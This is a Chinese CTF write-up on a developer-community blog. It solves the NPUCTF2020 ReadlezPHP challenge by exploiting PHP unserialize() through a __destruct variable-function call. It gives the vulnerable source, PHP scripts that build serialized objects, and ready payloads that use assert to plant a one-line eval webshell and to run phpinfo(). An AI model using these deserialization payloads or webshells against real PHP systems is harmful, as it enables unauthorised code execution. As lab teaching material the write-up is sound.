前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[NPUCTF2020]ReadlezPHP PHP反序列化 WP

[NPUCTF2020]ReadlezPHP PHP反序列化 WP

原创
作者头像
Gh0st1nTheShel
发布2022-02-11 18:06:58
8320
发布2022-02-11 18:06:58
举报
文章被收录于专栏:网络空间安全网络空间安全

欢迎关注我的公众号《壳中之魂》

题目环境:https://buuoj.cn/challenges#NPUCTF2020ReadlezPHP

难度:简单

首先拿到题目链接,目录爆破并没有什么特殊的,进行代码审计

可以看到time.php?source这个文件,访问一下

直接给出了源码,题目和源码中就可以看出是反序列化漏洞,但是这个反序列化漏洞并不算难,我这样的菜鸡也是一看就懂

这段代码中可以利用的就是 __destruct魔法方法,这里面有一个 echo $b($a);,可以作为变量函数,举一个变量函数的例子

代码语言:javascript
复制
<?php
    $a = "assert";
    $b = "eval('echo whoami;')";
    @$a($b);
?>
代码语言:javascript
复制
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

举上面的例子是和题目有关,assert是php之中的断言,如果传入的是字符串则会把它作为php代码执行,但为什么不直接用eval呢,是因为不能以变量函数的形式调用eval

参考文章:PHP: 不能以变量函数的形式调用eval:Undefined function eval() - 陪她去流浪 (twofei.com)

eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用(虽然她确实像极了函数原型)。这样的语法构造还包括:echo,print,unset(),isset(),empty(),include,require,...

但可惜的是靶机似乎回显不了,所以就放弃使用系统命令了,所以直接传一句话木马

代码语言:javascript
复制
<?php
    class HelloPhp
    {
        public $a = 'eval($_POST[hack]);';
        public $b = "assert"; 
    }
    $c = new HelloPhp;


    echo serialize($c);
?>

O:8:"HelloPhp":2:{s:1:"a";s:19:"eval($_POSThack);";s:1:"b";s:6:"assert";}

但是蚁剑连过去什么都没有啊,估计是权限不够,如果是这种情况只能猜测flag会显示在phpinfo

代码语言:javascript
复制
<?php
    class HelloPhp
    {
        public $a = 'eval(phpinfo());';
        public $b = "assert"; 
    }
    $c = new HelloPhp;


    echo serialize($c);
?>

最终payload:O:8:"HelloPhp":2:{s:1:"a";s:16:"eval(phpinfo());";s:1:"b";s:6:"assert";}

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档